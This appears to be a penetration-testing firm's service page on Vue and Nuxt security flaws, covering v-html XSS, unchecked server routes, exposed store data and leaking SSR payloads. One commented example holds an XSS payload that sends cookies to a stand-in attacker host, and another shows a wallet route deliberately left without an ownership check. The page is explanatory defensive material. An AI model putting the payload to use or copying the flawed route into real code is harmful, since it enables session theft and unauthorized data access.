1. v-html XSS vulnerabilities
Vue's template interpolation ({{ value }}) escapes HTML by default, preventing XSS. The v-html directive is the escape hatch that renders raw HTML. Every use of v-html in a Vue application is a potential injection point. We scan every component template for v-html bindings and test whether any user-controlled data can reach them through props, reactive state, or route parameters:
<!-- VULNERABLE: user bio content rendered as raw HTML -->
<template>
<div class="user-bio">
<!-- Attacker submits: <img src=x onerror="document.location='https://attacker.com?c='+document.cookie"> -->
<p v-html="user.bio"></p>
</div>
</template> 2. Nuxt server API route authorization
Nuxt 3's server directory creates full-stack capabilities directly in the Nuxt project. Server route handlers in server/api/ run on the server side with direct database access. We test every server route for: missing session validation (does the handler check if the user is authenticated?), BOLA patterns (does the handler return data based on a URL parameter without checking ownership?), and method restriction (does a GET-only route accept POST bodies?).
// VULNERABLE Nuxt server route: no session validation
// server/api/wallet/[id].get.ts
export default defineEventHandler(async (event) => {
const walletId = getRouterParam(event, 'id');
// Flaw: returns any wallet by ID with no ownership check
return await db.wallet.findUnique({ where: { id: walletId } });
}); 3. Vuex and Pinia store sensitive data exposure
Vuex and Pinia stores are readable from the browser's developer console using Vue DevTools or direct JavaScript access. Any sensitive data persisted in the store (account balances, user tier, internal flags, decrypted credentials) is visible to the user and potentially to any JavaScript running on the page. We audit what data is stored in your Vuex/Pinia modules and flag any values that inform security decisions without server-side re-validation.
4. Nuxt server-side rendering hydration and state transfer
Nuxt transfers server-side state to the client using a serialized object embedded in the HTML page. This mechanism (called payload or useNuxtData) is serialized to JSON and embedded in a <script> tag in the page HTML. If the server embeds private user data (such as internal user IDs, access tokens, or complete account details) in the server-rendered payload to avoid a second client-side fetch, that data is visible in the HTML source to anyone who requests the page URL, including search engine crawlers and unauthenticated visitors.
Nuxt payload transfer exposing admin-only data in page HTML
During a penetration test of a Nigerian HR SaaS platform, we loaded an employee profile page as a standard user. Inspecting the page source revealed a large JSON object in the Nuxt payload script tag. The object contained the complete company-wide salary band configuration fetched server-side during SSR, including salary ranges for every job title. This data was only intended to be visible to HR managers but was embedded in the server-rendered HTML served to all authenticated users. Fix priority: high. Remediated by moving salary band data to a client-side fetch with a role-restricted API endpoint.
Shipping a Vue or Nuxt application handling real user data? Schedule a security assessment.
Book a Vue / Nuxt PentestFrequently asked questions
Does Vue's v-html directive create XSS vulnerabilities?
Yes. The v-html directive renders raw HTML into the DOM without sanitization, bypassing Vue's automatic escaping. Any user-controlled data bound to v-html creates a direct XSS vulnerability. Vue's template interpolation (double curly braces) is safe by default.
How do you test Nuxt server routes for security issues?
Nuxt server routes (under server/api/ and server/routes/) are backend endpoints executed on the Nuxt server. We test them for missing authentication, BOLA vulnerabilities (can one user access another user's data by changing an ID?), and injection flaws in how they construct database queries.
What is the security risk of Vuex/Pinia state being accessible in the browser?
The Vuex or Pinia store is a JavaScript object accessible from the browser's developer console. Sensitive data (like decrypted personal information, internal user flags, or account balances) stored in the client-side state should be treated as readable by the user. Authorization decisions must be enforced server-side, not based on client store values.
Related reading
Blog: React SPA security testing · Angular security testing · Next.js security testing
Services: Penetration testing · API security testing